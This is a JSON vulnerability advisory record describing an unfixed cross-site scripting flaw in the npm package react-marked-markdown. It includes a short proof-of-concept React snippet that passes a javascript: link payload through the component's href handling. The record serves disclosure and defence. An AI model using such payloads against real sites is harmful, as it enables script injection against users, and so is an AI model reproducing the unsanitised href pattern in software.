{"id":"GHSA-m7qm-r2r5-f77q","aliases":[],"url":"https://o3.security/vulnerability/GHSA-m7qm-r2r5-f77q","summary":"Cross-Site Scripting in react-marked-markdown","details":"All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n<MarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/>,\ndocument.getElementById('root')\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.\n","published":"2020-09-01T20:43:48Z","modified":"2021-09-24T20:35:29Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"react-marked-markdown","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/Vincent-P/react-marked-markdown/issues/61"},{"type":"WEB","url":"https://hackerone.com/reports/344069"},{"type":"PACKAGE","url":"https://github.com/Vincent-P/react-marked-markdown"},{"type":"WEB","url":"https://www.npmjs.com/advisories/668"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2021-09-24T20:35:29Z"}}